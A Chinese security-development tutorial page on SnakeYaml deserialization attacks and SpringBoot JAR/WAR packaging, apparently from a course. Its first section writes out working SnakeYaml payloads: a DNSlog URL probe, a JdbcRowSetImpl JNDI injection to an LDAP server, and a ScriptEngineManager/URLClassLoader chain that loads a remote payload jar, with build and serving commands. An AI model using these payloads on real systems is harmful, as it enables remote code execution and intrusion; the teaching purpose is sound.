当前位置: 首页 > article >正文

Web开发-JavaEE应用SpringBoot栈SnakeYaml反序列化链JARWAR构建打包

知识点:
1、安全开发-JavaEE-WAR&JAR打包&反编译
2、安全开发-JavaEE-SnakeYaml反序列化&链

一、演示案例-WEB开发-JavaEE-项目-SnakeYaml序列化

常见的创建的序列化和反序列化协议
• (已讲)JAVA内置的writeObject()/readObject() 通用<==>Object
• JAVA内置的XMLDecoder()/XMLEncoder xml<==>Object
• (已讲)XStream xml<==>Object
• (已讲)SnakeYaml yaml<==>Object
• (已讲)FastJson json<==>Object
• Jackson json<==>Object
SnakeYaml反序列化
SnakeYaml是Java中解析yaml的库,而yaml是一种人类可读的数据序列化语言,通常用于编写配置文件等。SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化:
Yaml.load():反序列化 将YAML格式的字符串或文件内容转换成Java对象;
Yaml.dump():序列化 将一个Java对象转化为yaml文件形式;
测试总结:load和loadas(dump)都调用了对应的set方法

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

<dependency><groupId>org.yaml</groupId><artifactId>snakeyaml</artifactId><version>1.32</version>
</dependency>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
参考:https://www.cnblogs.com/F12-blog/p/18151239

1、URL链(JAVA自带链)

!!java.net.URL ["http://5dsff0.dnslog.cn/"]: 1
// java.net.URL这是JAVA自带的类

在这里插入图片描述
在这里插入图片描述

2、JNDI注入

!!com.sun.rowset.JdbcRowSetImpl
dataSourceName: "ldap://localhost:1389/Exploit"
autoCommit: true
//com.sun.rowset.JdbcRowSetImpl是java自带类

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、RCE(自带链+利用SPI机制)

在这里插入图片描述
https://github.com/artsploit/yaml-payload/
在这里插入图片描述

编译项目源码(把该项目打包成一个jar)-命令编译

javac AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

编译项目源码(把该项目打包成一个jar)-项目编译

项目结构-工件-添加-yaml-payload-添加模块输出-构建工件
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

python -m http.server 9999

在这里插入图片描述

!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"]]]]

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB开发-JavaEE-SpringBoot-打包部署-JAR&WAR

参考:https://mp.weixin.qq.com/s/HyqVt7EMFcuKXfiejtfleg
在这里插入图片描述

SpringBoot项目打包在各类系统服务器中运行:
①jar类型项目
jar类型项目使用SpringBoot打包插件打包时,会在打成的jar中内置tomcat的jar。所以使用jdk直接运行jar即可,jar项目中功能将代码放到其内置的tomcat中运行。
②war类型项目
在打包时需要将内置的tomcat插件排除,配置servlet的依赖和修改pom.xml,然后将war文件放到tomcat安装目录webapps下,启动运行tomcat自动解析即可。

Jar打包

报错解决:
https://blog.csdn.net/Mrzhuangr/article/details/124731024
https://blog.csdn.net/wobenqingfeng/article/details/129914639

1、maven-clean-package

在这里插入图片描述
在这里插入图片描述

2、java -jar xxxxxx.jar

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

War打包

1、pom.xml加入或修改

<packaging>war</packaging>

在这里插入图片描述

2、启动类里面加入配置

public class TestSwaggerDemoApplication extends SpringBootServletInitializer
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(TestSwaggerDemoApplication.class);
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、maven-clean-package

在这里插入图片描述
在这里插入图片描述

4、war放置tomcat后启动

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

安全:JAVAEE源码架构

无源码下载泄漏风险,JAR泄漏也需反编译(jar文件反编译)
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
不是所有的jar包都能反编译,有些jar包会用到混肴技术(类似APP加壳)

http://www.lryc.cn/news/2379468.html

相关文章:

  • 项目复习(2)
  • UE 材质基础 第一天
  • 短剧小程序系统开发源码上架,短剧项目市场分析
  • 学习FineBI
  • Oracle日期计算跟Mysql计算日期差距问题-导致两边计算不一致
  • 深入剖析某App视频详情逆向:聚焦sig3参数攻克
  • Java求职面试揭秘:从Spring到微服务的技术挑战
  • 【Linux】Linux安装并配置MongoDB
  • HANA数据库死锁
  • STC32G12K128实战:串口通信
  • Kotlin Multiplatform与Flutter、Compose共存:构建高效跨平台应用的完整指南
  • ElasticSearch深入解析(十二):聚合——分桶聚合、指标聚合、管道子聚合
  • spark小任务
  • Ubuntu 20.04 报错记录: Matplotlib 无法使用 OpenCV 的 libqxcb.so
  • JS 高级程序设计 设计模式
  • 新电脑软件配置二:安装python,git, pycharm
  • 数据仓库:企业数据管理的核心引擎
  • MCU开发学习记录17* - RTC学习与实践(HAL库) - 日历、闹钟、RTC备份寄存器 -STM32CubeMX
  • C++中的四种强制转换
  • YOLOv2目标检测算法:速度与精度的平衡之道
  • Quic如何实现udp可靠传输
  • 利用腾讯云MCP提升跨平台协作效率的实践与探索
  • 【Vue篇】数据秘语:从watch源码看响应式宇宙的蝴蝶效应
  • Python高级特性深度解析:从熟练到精通的跃迁之路
  • OGGMA 21c 微服务 (MySQL) 安装避坑指南
  • Linux面试题集合(4)
  • iOS Safari调试教程
  • 基于互联网和LabVIEW的多通道数据采集系统仿真设计
  • ffmpeg -vf subtitles添加字幕绝对路径问题的解决方法
  • Android Studio 安装与配置完全指南